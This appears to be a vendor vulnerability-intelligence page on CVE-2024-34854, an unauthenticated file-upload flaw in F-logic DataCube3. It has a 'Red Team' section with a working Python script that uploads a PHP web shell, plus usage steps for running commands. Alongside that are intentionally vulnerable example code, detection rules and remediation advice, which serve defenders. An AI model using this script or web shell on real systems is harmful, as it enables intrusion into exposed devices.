CVE-2024-34854
Executive Summary
CVE-2024-34854 is an unauthenticated arbitrary file upload vulnerability in F-logic DataCube3 v1.0, specifically in the /admin/transceiver_schedule.php endpoint. This flaw allows an attacker to upload malicious files (e.g., web shells) to the server, leading to remote code execution, data exfiltration, or full system compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch or vendor response. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high for exposed instances.
Note: This is not a WordPress plugin or component; it is a standalone industrial/embedded device application.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector assigned; estimated high severity based on impact)
- Attack Vector: Network (unauthenticated)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
- Estimated CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Threat Level: Critical (if exposed to the internet)
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of /admin/transceiver_schedule.php. The application fails to validate the file type, size, or content during upload. An attacker can send a crafted HTTP POST request with a malicious file (e.g., a PHP web shell) to this endpoint. The file is stored in a web-accessible directory, allowing the attacker to execute arbitrary commands on the server.
Root Cause: Lack of input validation and missing authentication checks on the upload endpoint. The application does not verify the MIME type, file extension, or whether the user is authorized to upload files.
Attack Flow:
- Identify a vulnerable DataCube3 instance (e.g., via Shodan).
- Send a POST request to
/admin/transceiver_schedule.phpwith a malicious file (e.g.,shell.php). - Access the uploaded file via its web path (e.g.,
/uploads/shell.php). - Execute commands on the server.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<?php
// /admin/transceiver_schedule.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
}
?>
Patched Code (Conceptual):
<?php
// /admin/transceiver_schedule.php
session_start();
if (!isset($_SESSION['user']) || $_SESSION['role'] !== 'admin') {
die("Unauthorized");
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$allowed_types = ['text/plain', 'application/pdf'];
$file_type = mime_content_type($_FILES["file"]["tmp_name"]);
if (!in_array($file_type, $allowed_types)) {
die("Invalid file type.");
}
$target_dir = "uploads/";
$target_file = $target_dir . uniqid() . "." . pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
}
?>
Exploitation & Lab Setup
Red Team
Prerequisites:
- Python 3.x
requestslibrary- Target IP:
192.168.1.100(example)
Exploit Script:
import requests
target = "http://192.168.1.100/admin/transceiver_schedule.php"
payload = "<?php system($_GET['cmd']); ?>"
files = {"file": ("shell.php", payload, "application/x-php")}
response = requests.post(target, files=files)
if "successfully" in response.text:
print(f"Shell uploaded: {target}/uploads/shell.php?cmd=id")
else:
print("Upload failed")
Usage:
- Run the script to upload a web shell.
- Access
http://192.168.1.100/uploads/shell.php?cmd=idto execute commands.
Blue Team
Detection Steps:
- Monitor HTTP POST requests to
/admin/transceiver_schedule.phpfrom unauthenticated sources. - Check for unexpected file extensions (
.php,.asp,.jsp) in upload directories. - Review web server logs for suspicious file access patterns (e.g.,
cmd=parameter). - Implement file integrity monitoring on upload directories.
Honeypot Setup:
- Deploy a fake DataCube3 instance with the vulnerable endpoint.
- Log all upload attempts and attacker IPs.
Indicators of Compromise (IOCs)
- File Paths:
/admin/transceiver_schedule.php/uploads/shell.php/uploads/*.php
- Network Traffic:
- POST requests to
/admin/transceiver_schedule.phpwithmultipart/form-datacontent. - GET requests to
/uploads/*.php?cmd=or similar.
- POST requests to
- Log Entries:
POST /admin/transceiver_schedule.php HTTP/1.1200GET /uploads/shell.php?cmd=id HTTP/1.1200
- File Hashes (Example):
shell.phpMD5:e99a18c428cb38d5f260853678922e03
Detection Engineering
YARA Rule
rule CVE_2024_34854_WebShell {
meta:
description = "Detects web shells uploaded via CVE-2024-34854"
author = "Valters IT"
date = "2025-04-10"
strings:
$php_tag = "<?php"
$system_call = "system("
$cmd_param = "$_GET['cmd']"
condition:
$php_tag and $system_call and $cmd_param
}
Sigma Rule
title: CVE-2024-34854 File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /admin/transceiver_schedule.php
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: /admin/transceiver_schedule.php
condition: selection
falsepositives:
- Legitimate admin uploads (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-34854 File Upload Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/transceiver_schedule.php"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the device from the internet if possible.
- Restrict access to
/admin/endpoints via firewall or reverse proxy (e.g., allow only trusted IPs). - Disable file upload functionality if not required.
Long-Term Fix:
- Apply vendor patch if/when available.
- Implement proper authentication and input validation.
- Use a Web Application Firewall (WAF) to block malicious uploads.
Workaround:
- Remove or rename the vulnerable file (
transceiver_schedule.php) if the feature is not critical.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert